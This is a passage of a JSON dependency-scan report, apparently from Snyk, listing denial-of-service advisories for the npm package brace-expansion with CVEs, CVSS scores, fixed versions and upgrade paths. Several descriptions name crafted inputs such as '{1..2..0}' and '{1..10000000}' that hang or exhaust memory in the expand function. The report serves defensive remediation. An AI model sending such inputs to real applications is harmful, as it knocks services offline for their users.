[ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or 